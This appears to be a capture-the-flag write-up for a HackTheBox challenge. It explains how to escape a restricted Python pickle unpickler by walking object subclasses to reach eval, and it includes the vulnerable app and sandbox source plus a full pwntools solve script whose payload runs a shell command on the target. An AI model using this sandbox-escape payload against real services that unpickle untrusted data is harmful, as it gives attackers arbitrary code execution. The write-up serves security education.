Skip to content

Latest commit

 

History

History
 
 

[Medium] Were Pickle Phreaks Revenge

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 

category

  • After you humiliated them, the Phreaks have changed their app to make it more secure. You won't make a fool of them again. Or will you?
  • The objective is to escape from a pickle sandbox using builtin internal methods.
  • medium
  • HTB{Y0U_7h1nK_JUs7_ch3ck1n9_S0M3_m0DUL3_NAm3s_1s_3n0u9H_70_s70p_93771n9_Pwn3d??}
  • app.py: The main code of the application
  • sandbox.py: The pickle sandbox

Analysis

Analyzing the difference from the previous version

We can see the source is mostly the same from the previous easy version. The app.py file remains exactly the same, and sandbox.py has one more addition to the UNSAFE_NAMES list, which makes sense considering how the previous challenge was exploited.

UNSAFE_NAMES = ['__builtins__', 'random']

Now we have even less options, considering, most other internal values are mostly standard functions. So now we need to find something more internal which we can use to escape with.

Solution

Finding more internal gadgets

If we search a bit for pickle sandbox escape, we can find this talk. In it, splitline documents a more general exploit, which uses more builtin methods that enable code execution. Essentially, it takes a typical pyjail payload, and transforms it to a pickle context.

obj.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']

becomes

setattr = GLOBAL("<ALLOWED_MODULE>", "__setattr__")
subclasses = GLOBAL(
 "<ALLOWED_MODULE>",
 "obj.__class__.__base__.__subclasses__"
)()
setattr("subclasses", subclasses)
gadget = GLOBAL(
 "<ALLOWED_MODULE>",
 "subclasses.__getitem__"
)(<INDEX>)
setattr("gadget", gadget)
eval = GLOBAL(
 "<ALLOWED_MODULE>",
 "gadget.__init__.__builtins__.__getitem__"
)('eval')

Some notes. In our exploit, we will obviously use app as the <ALLOWED_MODULE>. After playing with it, a useful gadget can be found at index 133. After that, we can just call eval with an internal __import__ module. The setattr essentially performs a obj.attr_name = attr. In our case, the obj is the allowed module app, so that we can use it in every declaration. Note __setattr__ works like this in python 3.8, and not in newer versions. With these, we can craft our payload, again using the pickora module (which was actually developed by spitline).

The codes of 'app.pyandsandbox.py` are presented below respectively:

from sandbox import unpickle, pickle
import random

members = []

class Phreaks:
    def __init__(self, hacker_handle, category, id):
        self.hacker_handle = hacker_handle
        self.category = category
        self.id = id

    def display_info(self):
        print('================ ==============')
        print(f'Hacker Handle    {self.hacker_handle}')
        print('================ ==============')
        print(f'Category         {self.category}')
        print(f'Id               {self.id}')
        print()

def menu():
    print('Phreaks member registration v2')
    print('1. View current members')
    print('2. Register new member')
    print('3. Exit')

def add_existing_members():
    members.append(pickle(Phreaks('Skrill', 'Rev', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Alfredy', 'Hardware', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Suspicious', 'Pwn', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Queso', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Stackos', 'Blockchain', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Lin', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Almost Blood', 'JIT', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Fiasco', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Big Mac', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Freda', 'Forensics', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Karamuse', 'ML', random.randint(1, 10000))))

def view_members():
    for member in members:
        try:
            member = unpickle(member)
            member.display_info()
        except Exception as e:
            print('Invalid Phreaks member', e)

def register_member():
    pickle_data = input('Enter new member data: ')
    members.append(pickle_data)

def main():
    add_existing_members()
    while True:
        menu()
        try:
            option = int(input('> '))
        except ValueError:
            print('Invalid input')
            print()
            continue
        if option == 1:
            view_members()
        elif option == 2:
            register_member()
        elif option == 3:
            print('Exiting...')
            exit()
        else:
            print('No such option')
        print()

if __name__ == '__main__':
    main()
from base64 import b64decode, b64encode 
from io import BytesIO
import pickle as _pickle

ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__', 'random']

class RestrictedUnpickler(_pickle.Unpickler):
    def find_class(self, module, name):
        print(module, name)
        if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
            return super().find_class(module, name)
        raise _pickle.UnpicklingError()
    
def unpickle(data):
    return RestrictedUnpickler(BytesIO(b64decode(data))).load()
    
def pickle(obj):
    return b64encode(_pickle.dumps(obj))
from base64 import b64encode, b64decode
from pickora import Compiler
from pwn import *

def send_payload(payload):
    payload = b64encode(compiler.compile(payload))
    io.recvuntil(b'> ')
    io.sendline(b'2')
    io.recvuntil(b': ')
    io.sendline(payload)

def get_flag():
    io.recvuntil(b'> ')
    io.sendline(b'1')
    io.interactive()
    io.recvuntil(b'HTB{')
    flag = io.recvuntil(b'}')
    return b'HTB{' + flag

def pwn():
    payload = b'_setattr = GLOBAL("app", "__setattr__");'
    payload += b'subclasses = GLOBAL("app", "members.__class__.__base__.__subclasses__")();'
    payload += b'_setattr("subclasses", subclasses);'
    payload += b'gadget = GLOBAL("app", "subclasses.__getitem__")(133);'
    payload += b'_setattr("gadget", gadget);'
    payload += b'builtins = GLOBAL("app", "gadget.__init__.__globals__.__getitem__")("__builtins__");'
    payload += b'_setattr("builtins", builtins);'
    payload += b'eval = GLOBAL("app", "builtins.__getitem__")("eval");'
    payload += b'eval(\'__import__("os").system("cat flag.txt")\')'
    send_payload(payload)
    flag = get_flag()
    print(flag)

if __name__ == '__main__':
    ip = '127.0.0.1'
    port = 1337
    io = remote(ip, port)
    #io = process(['python', 'app.py'])
    compiler = Compiler()
    pwn()